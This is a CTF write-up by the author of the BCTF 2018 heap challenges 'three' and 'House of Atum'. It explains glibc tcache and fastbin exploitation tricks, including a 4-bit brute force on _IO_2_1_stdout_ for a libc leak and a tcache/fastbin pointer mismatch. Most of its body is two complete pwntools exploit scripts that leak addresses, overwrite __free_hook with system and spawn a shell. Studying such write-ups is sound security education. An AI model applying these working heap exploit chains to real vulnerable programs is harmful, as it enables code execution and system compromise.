BCTF 2018 three & House of Atum
26 November 2018Hi, I am Ne0. I made two challenges three
and House of Atum
for BCTF 2018
, which is held by Blue-Lotus
. I hope that you guys enjoyed this CTF. If you like this writeup, please follow me on Github. And the challenges can be find at here
Three
This is an easy challenge. But the number of solve is not as much as I expected. I think many people tried to use house of roman
to solve this challenge. Here I want to tell you: House of roman is Dead
. Don’t use it any more.
Then how do we leak the address of libc with a challenge that doesn’t have leak
feature? Bruteforce 4 bits
to modify the _IO_2_1_stdout_
. See the exploit below.
Exploit
from pwn import *
local=1
pc='./three'
remote_addr=['',0]
aslr=False
context.log_level=True
libc=ELF('./libc.so.6')
if local==1:
p = process(pc,aslr=aslr)
gdb.attach(p,'c')
else:
p=remote(remote_addr[0],remote_addr[1])
ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
def lg(s,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
def raddr(a=6):
if(a==6):
return u64(rv(a).ljust(8,'\x00'))
else:
return u64(rl().strip('\n').ljust(8,'\x00'))
def choice(idx):
sla("choice:",str(idx))
def add(content):
choice(1)
sa("content:",content)
def edit(idx,content):
choice(2)
sla("idx:",str(idx))
sa("content:",content)
def free(idx,c):
choice(3)
sla(":",str(idx))
sla(":",c)
if __name__ == '__main__':
add("123")
add(p64(0x11)*8)
free(1,'y')
free(0,'n')
edit(0,p8(0x50))
add('123')
add(p64(0))
free(1,'n')
edit(2,p64(0)+p64(0x91))
for i in range(0x7):
free(1,'n')
edit(2,p64(0)+p64(0x51))
free(0,'y')
edit(2,p64(0)+p64(0x91))
free(1,'y')
# Bruteforce 4 bits to make fd point to _IO_2_1_stdout_
edit(2,p64(0)+p64(0x51)+p16(0x7760))
add("123")
# Modify the flag and the write pointers
add(p64(0xfbad3c80)+p64(0)*3+p8(0))
rv(8)
libc_addr=raddr()-0x3ed8b0
lg("libc",libc_addr)
libc.address=libc_addr
ru("Done")
free(0,'y')
edit(2,p64(0)+p64(0x51)+p64(libc.symbols['__free_hook']))
add("123")
edit(2,p64(0)+p64(0x61)+p64(libc.symbols['__free_hook']))
free(0,'y')
add(p64(libc.symbols['system']))
edit(2,'/bin/sh\x00')
choice(3)
sla(":",str(2))
p.interactive()
House of Atum
This is a much more insteresting challenge. If you haven’t take a look at the challenge, I strongly recomend you to try it.
Program info
This is a heap challenge too.
int menu(){
puts("1. new");
puts("2. edit");
puts("3. delete");
printf("Your choice:");
return getint();
}
The bug is obvious: UAF
. But you have only 2 chunks to get the shell. This seems impossible at the first glance. Is it?
Exploit
The server os is Ubuntu 18.04
, which you can judge from the version of the libc.so.6
. So it use tcache
.
We all know that pointers in tcache
don’t point to a chunk itself, but at the offset of 0x10
. This is because tcache
doesn’t check the size or other things when allocating and pointing directly to the address which user can control is more appropriate.
However , this makes it inconsistent with chunks in fastbin
, as pointers in fastbin
point to the chunks itself.
It’s easy than it sounds. Take a look at the POC
below
void *a = malloc(0x28);
void *b = malloc(0x28);
// fill the tcache
for(int i=0; i<7 ;i++){
free(a);
}
free(b);
//What will happen with this:
free(a);
Get the idea?
Before the last free, the heap is like:
tcache a
+-------+ +-----------+-----------+
| +-------------+ | prev_size | size |
+-------+ | +-----------+-----------+
| | +------> fd <-------+
+-------+ | | |
| | | | |
+-------+ +------------+----------+ |
| |
+------------------+
fastbin b
+-------+ +-----------+-----------+
| +-------------+ | prev_size | size |
+-------+ | +-----------+-----------+
| | +------> fd |
+-------+ | |
| | | |
+-------+ +-----------------------+
After the last free, it becomes:
tcache a
+-------+ +-----------+-----------+
| +-------------+ | prev_size | size |
+-------+ | +-----------+-----------+
| | +------> fd +-------+
+-------+ | | |
| | | | |
+-------+ +-----------------------+ |
|
+---+
|
fastbin a | b
+-------+ +-----------+-----------+ | +-----------+-----------+
| +-------------+ | prev_size | size | +-+-> prev_size | size |
+-------+ | +-----------+-----------+ | +-----------+-----------+
| | +------> fd=b +-+ | fd=0 |
+-------+ | | | |
| | | | | |
+-------+ +-----------------------+ +-----------------------+
Oh no! The prev_size
of b
will be used as the fd
of the tcache
! And this field can be controled by us!
Well, now you know how to solve the challenge.
Final exp:
from pwn import *
local=1
pc='./heapme'
remote_addr=['',0]
aslr=False
#context.log_level=True
libc=ELF('/lib/x86_64-linux-gnu/libc-2.27.so')
if local==1:
#p = process(pc,aslr=aslr,env={'LD_PRELOAD': './libc.so.6'})
p = process(pc,aslr=aslr)
gdb.attach(p,'c')
else:
p=remote(remote_addr[0],remote_addr[1])
ru = lambda x : p.recvuntil(x)
sn = lambda x : p.send(x)
rl = lambda : p.recvline()
sl = lambda x : p.sendline(x)
rv = lambda x : p.recv(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
def lg(s,addr):
print('\033[1;31;40m%20s-->0x%x\033[0m'%(s,addr))
def raddr(a=6):
if(a==6):
return u64(rv(a).ljust(8,'\x00'))
else:
return u64(rl().strip('\n').ljust(8,'\x00'))
def choice(idx):
def wrap(f):
def go(*args,**kargs):
sla("choice:",str(idx))
f(*args,**kargs)
return go
return wrap
@choice(idx=1)
def add(content):
sa("content:",content)
@choice(idx=2)
def edit(idx,content):
sla("idx:",str(idx))
sa("content:",content)
@choice(idx=3)
def free(idx,c):
sla(":",str(idx))
sla(":",c)
@choice(idx=4)
def show(idx):
sla(":",str(idx))
if __name__ == '__main__':
# leak heap
add("123")
add("123")
free(1,'y')
free(0,'y')
add('1')
show(0)
ru("tent:")
heap_addr=raddr()-0x231
lg("Heap addr",heap_addr)
# allocate a chunk at heap_addr+0x68
free(0,'y')
add(p64(0)*7+p64(0x61)+p64(heap_addr+0x68))
add("123")
for i in range(7):
free(0,'n')
free(1,'y')
free(0,'y')
add("123")
add("123")
# create fake chunk and leak libc
free(1,'y')
add(p64(0))
edit(0,p64(0)*3+p64(0xa1))
free(0,'y')
edit(1,p64(0))
add("123")
free(0,'y')
edit(1,p64(0))
add(p64(0x21)*9)
free(0,'y')
edit(1,p64(heap_addr+0x280))
add("123")
for i in range(0x7):
free(0,'n')
free(0,'y')
edit(1,p64(heap_addr+0x260))
add("A"*0x20)
show(0)
ru("A"*0x20)
libc_addr=raddr()-0x3ebca0
lg("Libc address",libc_addr)
libc.address=libc_addr
free(0,'y')
# modify __free_hook
edit(1,p64(libc.symbols['__free_hook']))
add(p64(libc.symbols['system']))
edit(1,'/bin/sh\x00')
sla("choice:",str(3))
sla(":",str(1))
p.interactive()
This inconsistence is interesting and never occurs in CTFs, so I name it House of Atum
. I think there are still many techniques that can be derived from it. I hope this challenge can bring you something.
Conclusion
Again, if you like this writeup, please follow me on Github. If you have other solutions, please share with me!